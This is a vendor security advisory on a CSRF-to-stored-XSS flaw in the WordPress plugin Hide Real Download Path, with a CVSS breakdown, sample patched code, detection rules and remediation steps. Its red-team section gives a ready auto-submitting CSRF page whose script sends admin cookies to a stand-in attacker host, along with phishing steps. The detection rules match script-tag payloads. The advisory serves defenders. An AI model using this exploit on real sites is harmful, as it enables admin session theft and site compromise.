CVE-2025-58849
Executive Summary
CVE-2025-58849 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Hide Real Download Path (slug: hide-real-download-path) by Deepak S, affecting versions up to and including 1.6. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, leading to Stored Cross-Site Scripting (XSS). This means an attacker can craft a malicious request that, when executed by an admin, injects persistent JavaScript into the plugin’s settings or download path configurations. The injected script can then steal session cookies, redirect users, or deface the site. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is unpatched, users are advised to remove or disable it immediately. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in the wild.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – The attacker does not need authentication.
- User Interaction: Required (UI:R) – The victim (admin) must click a malicious link or visit a crafted page.
- Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of data.
- Availability Impact: Low (A:L) – Limited service disruption.
Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to hijack admin sessions and execute arbitrary JavaScript in the context of the WordPress admin panel, potentially leading to full site compromise.
Deep Dive & Mechanics
The vulnerability resides in the hide-real-download-path plugin, which allows administrators to hide the actual file download path from users. The plugin fails to implement CSRF tokens on its settings page or download path configuration forms. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to the plugin’s admin-ajax.php or settings endpoint. This request can modify the plugin’s stored download paths or inject malicious JavaScript into the plugin’s output.
The Stored XSS occurs because the plugin does not sanitize or escape user-supplied input when saving download path aliases. Once the attacker’s payload is stored, it executes whenever an admin views the plugin’s settings page or when the download path is rendered on the frontend.
Attack Flow:
- Attacker identifies a WordPress site using the vulnerable plugin.
- Attacker crafts a CSRF exploit page that sends a POST request to
wp-admin/admin-ajax.php?action=update_download_pathwith a malicious payload (e.g.,<script>alert('XSS')</script>). - Attacker lures an authenticated admin to visit the exploit page (e.g., via phishing email or social engineering).
- The admin’s browser executes the forged request, updating the download path with the XSS payload.
- The payload is stored and executed when the admin views the plugin settings or when a user downloads a file, leading to session theft or further compromise.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the entire plugin version 1.6. The following is a hypothetical example of the vulnerable code pattern:
Vulnerable Code (PHP):
// In hide-real-download-path.php
function save_download_path() {
if ( isset($_POST['download_path']) ) {
update_option('hrdp_download_path', $_POST['download_path']); // No CSRF check, no sanitization
}
}
add_action('wp_ajax_update_download_path', 'save_download_path');
Patched Code (Hypothetical):
function save_download_path() {
if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'hrdp_update_path') ) {
wp_die('CSRF validation failed.');
}
if ( isset($_POST['download_path']) ) {
$sanitized_path = sanitize_text_field($_POST['download_path']);
update_option('hrdp_download_path', $sanitized_path);
}
}
add_action('wp_ajax_update_download_path', 'save_download_path');
The patched version adds a nonce check for CSRF protection and sanitizes the input using sanitize_text_field() to prevent XSS.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with the vulnerable plugin installed and an admin user logged in.
- Ability to host a malicious HTML page (e.g., on a local server or via a phishing link).
Exploit Steps:
- Create a malicious HTML file (
csrf_exploit.html) that automatically submits a forged request:<html> <body> <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form"> <input type="hidden" name="action" value="update_download_path"> <input type="hidden" name="download_path" value="<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"> </form> <script>document.getElementById('csrf_form').submit();</script> </body> </html> - Host this file on an attacker-controlled server.
- Send a phishing email to the admin with a link to the malicious page.
- Once the admin visits the page, the CSRF request is executed, and the XSS payload is stored.
- The payload executes when the admin views the plugin settings, sending the admin’s cookies to the attacker.
Alternative Exploit (Using Burp Suite):
- Intercept a legitimate request to update the download path.
- Modify the
download_pathparameter to include a JavaScript payload. - Replay the request without a CSRF token.
Blue Team (Defender)
Detection:
- Monitor for unusual POST requests to
admin-ajax.phpwithaction=update_download_pathfrom unexpected IPs. - Look for suspicious parameters containing
<script>tags or event handlers (e.g.,onload,onerror). - Check for missing or invalid nonce values in AJAX requests.
Prevention:
- Disable or remove the plugin immediately.
- Implement a Web Application Firewall (WAF) rule to block requests with JavaScript payloads in the
download_pathparameter. - Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/hide-real-download-path/hide-real-download-path.php(version 1.6) - Database Option:
hrdp_download_pathcontaining JavaScript payloads. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
- Logs:
wp-admin/admin-ajax.phprequests withaction=update_download_pathand suspiciousdownload_pathvalues. - Cookie: Unauthorized session cookie exfiltration via HTTP requests.
Detection Engineering
YARA Rule
rule CVE_2025_58849_CSRF_XSS {
meta:
description = "Detects CSRF and Stored XSS in Hide Real Download Path plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-58849"
strings:
$php_vuln = /update_option\(\s*['"]hrdp_download_path['"]\s*,/ nocase
$xss_payload = /<script[^>]*>.*<\/script>/ nocase
$ajax_action = /action=update_download_path/ nocase
condition:
$php_vuln or ($ajax_action and $xss_payload)
}
Sigma Rule
title: CVE-2025-58849 CSRF to Stored XSS in Hide Real Download Path
id: 8a3f7c2e-5b1d-4f9a-8c6e-2d1a3b4c5e6f
status: experimental
description: Detects CSRF exploitation attempts targeting the Hide Real Download Path plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=update_download_path'
cs-uri-query|contains|all:
- '<script'
- '</script>'
condition: selection
falsepositives:
- Legitimate admin updates with non-malicious paths
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58849 CSRF to Stored XSS in Hide Real Download Path"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=update_download_path"; http_client_body; content:"<script"; within:100; content:"</script>"; within:200; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove the
hide-real-download-pathplugin from all WordPress installations. - Scan the WordPress database for any stored XSS payloads in the
hrdp_download_pathoption and remove them. - Rotate all admin passwords and session tokens to prevent session hijacking.
Long-term Fix:
- Since no patch is available, consider using an alternative plugin that provides similar functionality with proper CSRF protection and input sanitization.
- If the plugin is critical, manually patch the code by adding nonce verification and input sanitization as shown in the patched code example.
General Hardening:
- Implement a Web Application Firewall (WAF) with rules to block CSRF and XSS attempts.
- Enforce Content Security Policy (CSP) headers to restrict script execution.
- Regularly update all WordPress plugins and themes.
- Use security plugins like Wordfence or Sucuri to monitor for malicious activity.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.